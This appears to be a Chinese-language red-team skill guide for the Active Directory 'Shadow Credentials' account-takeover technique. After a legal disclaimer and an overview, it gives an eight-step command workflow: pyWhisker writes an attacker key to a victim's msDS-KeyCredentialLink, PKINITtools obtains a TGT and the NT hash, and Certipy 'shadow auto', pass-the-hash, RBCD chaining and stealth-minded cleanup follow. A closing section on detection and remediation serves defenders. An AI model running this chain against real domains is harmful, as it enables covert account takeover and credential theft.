滥用影子凭据进行权限提升 是做什么的?
法律声明: 此技能仅用于授权的安全测试和教育目的。影子凭据会导致目标账户被完全接管。仅在与您拥有或经明确书面授权测试的系统上使用。未经授权的访问是违法的。
概述
影子凭据技术滥用了 Active Directory 用户和计算机对象的 msDS-KeyCredentialLink 属性。该属性存储 Windows Hello 企业版和 Azure AD 设备注册所使用的原始公钥(“密钥凭据”),用于通过 PKINIT(公钥加密初始 Kerberos 身份验证)进行无密码证书登录。如果攻击者拥有对目标对象 msDS-KeyCredentialLink 的写入权限——通常由 BloodHound 发现的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE 授予——他们可以附加自己生成的公钥。然后,他们使用匹配的私钥通过 PKINIT 请求目标的 TGT,并恢复目标的 NT 哈希,无需重置密码即可实现完全账户接管,这比强制密码重置要隐蔽得多。
该技术由 Elad Shamir 发布(“影子凭据:滥用密钥信任账户映射进行账户接管”),并在 C# 工具 Whisker 中实现。Python 等效工具 pyWhisker(ShutdownRepo)通过 LDAP 操作该属性,而 Certipy 则通过 certipy shadow auto 集成整个链条。目标环境必须支持 PKINIT,并且至少有一台运行 Windows Server 2016 或更高版本的域控制器。来源:pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。
何时使用
- 当 BloodHound 显示对高价值用户或计算机拥有
GenericWrite/GenericAll/AddKeyCredentialLink权限时 - 作为
ForceChangePassword的隐蔽替代方案(无密码重置 = 更少的干扰/告警) - 接管计算机账户以链接到基于资源的约束委派(RBCD)
- 在红队操作中需要在不锁定合法用户的情况下进行账户接管
- 在紫队演练中生成
msDS-KeyCredentialLink修改遥测数据
前提条件
- 授权参与范围,包括 AD 凭据获取技术
- 控制一个对目标
msDS-KeyCredentialLink拥有写权限的主体 - 运行 Windows Server 2016+ 且启用 PKINIT 的 DC(域功能级别支持密钥信任)
- 网络可达 LDAP(389/636)和 Kerberos(88)服务在 DC 上
- 运行 Python 3.8+ 的 Linux 攻击主机;安装工具链:
# pyWhisker(从源代码安装) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy(集成影子攻击) pipx install certipy-ad # PKINITtools 用于手动 TGT/NT 哈希提取 git clone https://github.com/dirkjanm/PKINITtools
目标
- 确认对目标
msDS-KeyCredentialLink的写权限 - 生成密钥对并将密钥凭据附加到目标对象
- 通过 PKINIT 使用新密钥请求目标的 TGT
- 恢复目标的 NT 哈希,用于传递哈希/进一步移动
- 清理注入的密钥凭据以恢复对象状态
- 记录导致攻击的 ACL 路径以供修复
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1098.005 | 账户操纵:设备注册 | 将攻击者控制的密钥凭据(设备密钥)写入 msDS-KeyCredentialLink,为目标账户注册备用身份验证凭据 |
工作流
第 1 步:确认写原语
列出目标上现有的密钥凭据,以验证您拥有所需的访问权限。空结果或可读取的结果确认了执行“添加”步骤的写权限。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
第 2 步:使用 pyWhisker 添加影子凭据
生成证书/密钥对并将其写入目标的 msDS-KeyCredentialLink。pyWhisker 输出一个您控制的 PFX 文件。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# 生成 victim_shadow.pfx 并打印 PFX 密码
如果您只有票据,则使用 Kerberos 认证代替密码:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
第 3 步:通过 PKINIT 请求 TGT
使用生成的 PFX 和 PKINITtools 获取目标账户的 Kerberos TGT。
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
第 4 步:恢复 NT 哈希
使用第 3 步的会话密钥从 AS-REP 中提取目标的 NT 哈希(getnthash.py 读取第 3 步 gettgtpkinit.py 显示的 AS-REP 加密密钥)。
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# 打印 'victim' 的 NT 哈希
第 5 步:使用 Certipy 一键替代方案
Certipy 的 shadow auto 自动执行添加→PKINIT→转储哈希→清理,非常适合计算机账户的接管。
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# 对于计算机账户,使用带 $ 结尾的 sAMAccountName
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
第 6 步:使用恢复的凭据
使用 NT 哈希(或 TGT)继续进行参与操作。
# 使用 NetExec 传递哈希
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# 或者直接使用 TGT
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
第 7 步:将计算机接管链接到 RBCD(可选)
当目标是计算机时,恢复的密钥/哈希允许您配置基于资源的约束委派,以模拟任何用户到该主机。
# 设置 RBCD,使攻击者控制的 SPN 可以模拟到 WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
第 8 步:清理
移除注入的密钥凭据以恢复对象并减少检测足迹。
# pyWhisker:按设备 ID(添加时打印)移除或清除所有添加的内容
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto 自动清理;否则:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
工具与资源
| 资源 | 用途 | 链接 |
|---|---|---|
| pyWhisker | Python LDAP 操作 msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | 原始 C# 实现 | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto 端到端接管 | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | 技术详解与防御措施 | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
检测与修复说明
| 方面 | 指南 |
|---|---|
| 检测 | 监控 Windows 安全事件 ID 5136(目录对象修改)针对 msDS-KeyCredentialLink 的更改;当非 AD Connect/非 Intune 主体写入该属性时发出警报。 |
| 审计 | 在用户/计算机 OU 上启用目录服务对象更改审计。 |
| 最小权限 | 移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound AddKeyCredentialLink 边)。 |
| 缓解 | 在未使用 Windows Hello/设备注册的情况下,限制谁可以写入密钥凭据,并考虑受保护的 Tier-0 账户。 |
验证标准
- 确认对目标
msDS-KeyCredentialLink的写权限(list成功) - 成功添加密钥凭据(生成了 PFX)
- 通过 PKINIT 获取目标账户的 TGT
- 恢复目标 NT 哈希并针对服务验证
- (如果是计算机)演示了 RBCD 链或进一步移动
- 移除了注入的密钥凭据/恢复了对象
- 记录了启用的 ACL 路径并提供了修复建议